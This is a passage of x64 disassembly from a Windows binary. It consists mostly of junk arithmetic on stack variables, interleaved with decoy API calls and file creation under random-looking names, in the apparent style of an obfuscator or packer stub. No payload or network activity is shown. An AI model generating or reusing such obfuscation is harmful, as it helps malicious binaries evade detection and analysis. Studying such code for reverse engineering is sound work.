sub rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1368]
and eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
movsx eax, byte [0x14012728b]
movsx ecx, byte [rsp + 0x29f]
sub eax, ecx
mov byte [rsp + 0x2a3], al
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x75f0]
shl rax, cl
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [0x140120398]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c14], eax
mov eax, dword [rsp + 0x3c04]
movzx ecx, al
mov eax, dword [rsp + 0x3c00]
shr eax, cl
mov dword [rsp + 0x3c3c], eax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1314]
xor eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3bec]
add eax, 0x11
mov dword [rsp + 0x3bec], eax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
and eax, ecx
mov byte [rsp + 0x2a2], al
movsx eax, word [0x140127288]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1348]
add eax, ecx
mov word [0x1401203b0], ax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x79c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov eax, dword [0x14012039c]
mov ecx, dword [rsp + 0x3c34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
movzx ecx, word [rsp + 0x1360]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1354], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7a50], rax
movzx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a0], al
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x1314]
and eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1364]
or eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a1]
shl eax, cl
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
xor eax, ecx
mov byte [0x140120038], al
mov eax, dword [rsp + 0x3c04]
mov rcx, qword [rsp + 0x79a0]
mov qword [rsp + 0x7a60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a60]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x79c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
movzx eax, word [rsp + 0x10b0]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1368], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x7a20], rax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ba]
add eax, ecx
mov rcx, qword [rsp + 0x7a58]
mov byte [rcx], al
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1314]
add eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x7a18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7988], rax
movzx eax, word [rsp + 0x1364]
movzx ecx, word [rsp + 0x135c]
sub eax, ecx
mov word [0x1401203b0], ax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3be8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c20], eax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c00], eax
movsx eax, word [rsp + 0x9d4]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sar eax, cl
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
cmp dword [rsp + 0x3bec], 0x4565
jbe 0x14000d944
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.cnT2GBcEfVTEcLWxdyfS7NqYRckB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x7a68], rax
mov rax, qword [rsp + 0x7a28]
movzx eax, byte [rax]
mov byte [rsp + 0x2a4], al
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [rsp + 0x1ba]
shl eax, cl
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov qword [0x140127280], rax
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x37ac], eax
mov eax, dword [rsp + 0x3c00]
mov ecx, dword [rsp + 0x3c3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1364]
sub eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
sub eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x134c], ax
mov eax, dword [rsp + 0x3c70]
sub eax, 0x26
mov dword [rsp + 0x3c70], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
sub eax, ecx
mov word [rsp + 0x1368], ax
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [0x140127280]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7988]
sar rax, cl
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c20]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x79c0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x79a0]
mov qword [rsp + 0x7a70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c34], eax
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a2], al
mov edx, 0xd4275
mov rcx, qword [rsp + 0x7a68]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3c7c], eax
movzx eax, word [rsp + 0x135c]
movzx ecx, word [rsp + 0x1364]
add eax, ecx
mov word [rsp + 0x1350], ax
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [rsp + 0x2a3]
add eax, ecx
mov byte [rsp + 0x29e], al
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x134c]
sub eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68e8]
sub rcx, rax
mov rax, rcx
mov qword [0x140127280], rax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ba]
and eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7968]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
add eax, ecx
mov word [rsp + 0x1368], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x3c80], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8441
mov rcx, qword [rsp + 0x7a68]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3c80], eax
movzx eax, word [rsp + 0x1368]
movzx ecx, word [rsp + 0x1348]
shl eax, cl
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
cmp dword [rsp + 0x3c70], 0xefa5
jae 0x14000df7a
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
or eax, ecx
mov word [0x1401203b4], ax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov byte [rsp + 0x2a5], al
lea rax, [0x140127288]
mov qword [rsp + 0x7a78], rax
lea rax, [rsp + 0x7968]
mov qword [rsp + 0x7a80], rax
lea rax, [rsp + 0x3c04]
mov qword [rsp + 0x7a88], rax
mov dword [rsp + 0x3c84], 0x7de5
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3be8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x37ac], eax
movsx eax, byte [rsp + 0x2a1]
movsx ecx, byte [rsp + 0x29f]
sub eax, ecx
mov byte [rsp + 0x8b], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.TYwJ6p_bAHIV48K
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x7a90], rax
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x1314]
add eax, ecx
mov word [rsp + 0x9d4], ax
movzx eax, byte [0x14012728b]
mov byte [rsp + 0x3c88], al
cmp byte [rsp + 0x3c88], 0xe
je 0x14000e3de
jmp 0x14000e423
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
add eax, ecx
mov word [rsp + 0x1364], ax
movzx eax, byte [0x140120038]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
call fcn.140103400
jmp 0x14000e4f2
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x7360]
add rcx, rax
mov rax, rcx
mov qword [0x1401203b8], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov qword [rsp + 0x7a98], rax
movabs rax, 0x76de75d3391c7c
cmp qword [rsp + 0x7a98], rax
je 0x14000e4d5
movabs rax, 0x76f8933c677d6d
cmp qword [rsp + 0x7a98], rax
je 0x14000e47d
jmp 0x14000e4f2
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7a00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7360]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a18], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x37ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3be8], eax
jmp 0x14000e4f2
mov rax, qword [rsp + 0x7998]
mov rcx, qword [0x1401203a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x75f0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x7a88]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
lea rax, [rsp + 0x1200]
mov qword [rsp + 0x7aa0], rax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov byte [rsp + 0x3c8c], al
cmp byte [rsp + 0x3c8c], 0x3d
je 0x14000e54b
jmp 0x14000e5e4
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6040]
or rcx, rax
mov rax, rcx
mov qword [0x140127280], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7a00], rax
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x1200]
sub eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [0x140120390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ae8], rax
jmp 0x140103186
lea rax, [rsp + 0x8b]
mov qword [rsp + 0x7aa8], rax
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [rsp + 0x3c20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c14], eax
lea rax, [0x140120038]
mov qword [rsp + 0x7ab0], rax
movzx eax, byte [rsp + 0x1ba]
mov byte [rsp + 0x2a6], al
mov rax, qword [rsp + 0x7a88]
mov ecx, dword [rsp + 0x3c00]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x3c04]
mov edx, dword [rsp + 0x3c34]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x140103026
movsx eax, byte [rsp + 0x2a4]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x8b]
add ecx, edx
cmp eax, ecx
jne 0x140102e22
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov word [rsp + 0x1314], ax
lea rax, [rsp + 0x3c20]
mov qword [rsp + 0x7ab8], rax
mov eax, dword [rsp + 0x3c00]
mov dword [rsp + 0x3c90], eax
mov rax, qword [0x140120390]
mov rcx, qword [rsp + 0x75f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7998]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x79c0]
mov rdx, qword [rsp + 0x75f0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14000e785
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x68e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7a00], rax
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x134c]
shl eax, cl
mov word [rsp + 0x1294], ax
lea rax, [0x140120398]
mov qword [0x140127278], rax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1350]
xor eax, ecx
mov word [rsp + 0x1348], ax
jmp 0x14000e885
mov rax, qword [rsp + 0x79b0]
mov rcx, qword [rsp + 0x7ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [0x140120398]
mov edx, dword [rsp + 0x37ac]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14000e885
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0x2a6]
sar eax, cl
mov byte [rsp + 0x2a5], al
movsx eax, byte [0x14012728b]
movsx ecx, byte [rsp + 0x29f]
and eax, ecx
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0x7360]
mov rcx, qword [rsp + 0x7a50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x7a80]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x2a6]
call fcn.1401034a0
mov rax, qword [rsp + 0x7a88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ae8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x3c20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x7ab0]
movzx ecx, byte [rax]
call fcn.140103550
movzx eax, word [rsp + 0x1368]
mov word [rsp + 0x136c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x3c30], eax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a6]
add eax, ecx
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x1ba]
sub ecx, edx
cmp eax, ecx
jl 0x140102d62
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [rsp + 0x37ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
lea rax, [rsp + 0x7968]
mov qword [rsp + 0x7ac0], rax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [rsp + 0x79c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7998]
mov rdx, qword [rsp + 0x7ac0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jb 0x14000ea2b
movzx eax, byte [rsp + 0x1ba]
mov byte [rsp + 0x2a7], al
mov eax, dword [rsp + 0x37ac]
mov ecx, dword [rsp + 0x3c20]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ab8]
mov rdx, qword [rsp + 0x79b0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x14000e9f5
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1368]
sub eax, ecx
mov word [0x1401203b0], ax
call fcn.140103400
mov rax, qword [rsp + 0x7a50]
mov rcx, qword [rsp + 0x7a18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a28]
mov byte [rcx], al
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
lea rcx, [rsp + 0x13768]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
jmp 0x14000eb65
movzx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x79d0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x14000eb65
movzx eax, word [rsp + 0x1364]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ac0]
mov qword [rsp + 0x7ac8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ac8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7968], rax
lea r9, [rsp + 0x14e10]
mov r8d, 0xc7
mov edx, 0x65
mov rcx, qword [rsp + 0x7ad0]
call qword [sym.imp.GDI32.dll_GetDIBColorTable]
mov dword [rsp + 0x3c94], eax
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x79a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c00], eax
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [rsp + 0x3be8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a6]
add eax, ecx
mov byte [rsp + 0x1ba], al
movsx eax, word [0x140127288]
movsx ecx, word [rsp + 0x9d4]
add eax, ecx
mov word [0x1401203b4], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a0], al
movzx eax, word [rsp + 0x1368]
mov word [rsp + 0x1370], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7988], rax
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x3c7c], eax
mov dword [rsp + 0x3c98], 0x7c0c
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a50]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x7a88]
mov ecx, dword [rsp + 0x3c94]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x37ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x6ae8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x79c0], rax
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [rsp + 0x2a6]
sub eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401203b4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2a1], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [0x1401203b0]
or eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a50]
mov rcx, qword [rsp + 0x79f8]
mov qword [rsp + 0x7ad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ad8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7988], rax
movzx eax, byte [rsp + 0x2a5]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a7], al
mov rax, qword [rsp + 0x7a88]
mov ecx, dword [rsp + 0x3c3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7998]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [0x140120398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [0x1401203b0]
add eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401203b4], ax
mov rax, qword [rsp + 0x7360]
mov rcx, qword [rsp + 0x6040]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
movsx eax, word [0x1401203b4]
movsx ecx, word [rsp + 0x9d4]
and eax, ecx
mov word [rsp + 0x1200], ax
movzx eax, word [rsp + 0x1348]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x136c], ax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a7], al
mov eax, dword [rsp + 0x3c00]
mov ecx, dword [rsp + 0x3c94]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ac0]
mov qword [rsp + 0x7ae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ae0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x75f0], rax
mov eax, dword [rsp + 0x3c20]
mov rcx, qword [rsp + 0x79b0]
mov qword [rsp + 0x7ae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ae8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8b], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x3c30], eax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1294], ax
mov eax, dword [rsp + 0x37ac]
mov ecx, dword [rsp + 0x3c20]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140127278]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [rsp + 0x2a5]
sub eax, ecx
mov byte [rsp + 0x1ba], al
